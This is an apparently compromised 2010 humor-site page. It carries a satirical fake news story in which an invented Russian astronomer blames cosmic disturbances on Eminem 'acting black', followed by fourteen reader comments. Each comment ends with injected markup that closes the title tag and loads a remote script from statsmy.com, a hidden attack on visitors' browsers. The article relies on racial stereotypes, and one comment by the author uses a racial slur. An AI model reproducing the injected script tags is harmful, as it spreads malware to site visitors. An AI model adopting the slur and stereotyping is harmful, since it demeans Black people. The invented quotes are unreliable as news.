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Astronomer: Universe Askew Because Eminem Won't Stop Acting Black
by Mark on 9/6/2010 (14)

Culture Morph: Eminem, 1954, minus tattoos, Vicodin and negrophonic elements.


TASS - Noted Russian Astronomer Ivana Andropova recently presented a new theorem linking "perturbation in the planets and stars due to the Rap icon Eminem's seeming inability to stop play pretending he's a black guy." Andropova explains:

"We have measured an odd Neutrino flux that occurs whenever Mr. Eminem holds a concert. It is not unlike a solar storm but encompasses more of the known areas of space. My comrades attribute these anomalies to Mr. Eminem's unconvincing and often somewhat sappy attempts to act like a black man. It would seem that the Universe itself is rebelling against this vulgar and nauseating contradiction, yet the people of America do not. Quite the conundrum."

Andropova paused to take a Soviet Era slide rule from her desk drawer and pondered thoughtfully

"We have also seen these alarming trends when Sarah Ferguson, a.k.a. "Fergie", Justin Beiber and Katy Perry perform as well. Almost without exception, whenever a misfit suburban white kid with low self esteem acts black, it somehow unseats nature itself. Very queer...very queer indeed."

Russian scientists immersed in scientific nomenclature are grappling to lend a name to the Eminem phenomena, but one such suggestion has been the opposite of a black hole, such as a white hole, or more specifically and accurately, American wannabee white-ass-hole, among notable others.


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Comments

1. by T Mathers on 9/6/2010 10:47:42 AM
Okay I know this website is all about being a little quirky kinda funny (you do succeed in some area's - not all - but some) But this article is just a load of BS. Eminem is God and you know it. He doesnt act black. Hes just himself. And that is God. Hes very Sexy too.

You guys are Jealous. He has a career. You have a website. Time to grow up boys.....time to grow up. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Motz, author on 9/6/2010 11:06:28 AM
yeah, any guy who has "Vicodin" tattooed on his arm is divine, at least to Merck Pharmacuticals! :D </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by T Mathers on 9/6/2010 11:26:06 AM
Yeah you know it. Hes damn fine! And everyone knows it. Everything that guy has been through and the happiness and courage he gives to all his fans. Its phenomenal. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Motz, author on 9/6/2010 12:02:48 PM
Find yourself a nice Jewish boy, preferably a doctor. You'll live better. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Asid on 9/6/2010 2:34:48 PM
Not funny :-/ plus Eminem was rather a poor suburban kid who used to work at Gilbert's Lounge </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by ur gay on 9/6/2010 2:53:06 PM
im pretty sure eminem wasnt a 'rich suburban white kid' u looser </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Motz, author on 9/6/2010 3:51:47 PM
Eminen is a fucking derelict. If he had made good on a bad situation, he would have become a doctor or lawyer and made good the legitimate way, not the nigger shit way. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by T Mathers on 9/7/2010 9:06:27 AM
Yeah but he has helped more ppl then one doYeah but that is what makes him so special cos he did something with his gift. He couldnt be a doctor, lawyer or anything else you list. he used his verbal talent to touch millions and inspire each and every one of his fans. He is a modern day Shakespear, a poet and a credit to the human race! Sadly he is not human though.....he is a god. And if you dont like him fine, I'd just hush your mouths if I were you cos your just adding fuel to his fire. He used you critics to get where he is now so thanks for that btw!

</title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Motz on 9/7/2010 12:14:24 PM
Don't underestimate the power of Smooth Operator. We've taken down bigger fools than Eminem. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by T Mathers on 9/8/2010 6:05:22 AM
Shut up you muppet. Eminem is no fool. You think writing a few random, quirky articles about ppl is 'bringing them down' HA! Your funnier than I thought you were! Ok so how many ppl have visited this little site of yours? Dont think it will compare to the 80million + albums eminem has sold. Just dont forget that before talking about going for the big boys. Your site is jokes, it makes me giggle but dont talk crap about Eminem!!! He is the biggest selling artist of the decade...the funny thing is he had like 5 years out of the game during that time. AMAZING! Now runa long and make another article to make me laugh. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Motz on 9/8/2010 6:47:47 PM
Muppet? Try Fraggle...In any case, the future of music lies in Darwin Deez (Google Darwin Deez , Radar Detector), for the future of music.

Rap sucks! F Enemaen! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by T Mathers on 9/9/2010 7:29:02 AM
All matter of opinion Fraggle. ....But still the best selling artist of the decade....obviously ALOT of ppl feel the way I do.....You cant argue with the facts! So lets just call this a day before you embarress yourself anymore on your own website. He is God you are nothing - end of story sweetheart. Now can you please go write a funny story and entertain me once again for free again please. . . . EMINEM FOREVER </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Motz on 9/10/2010 3:20:14 PM
!!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Kris on 10/11/2010 2:12:02 PM
!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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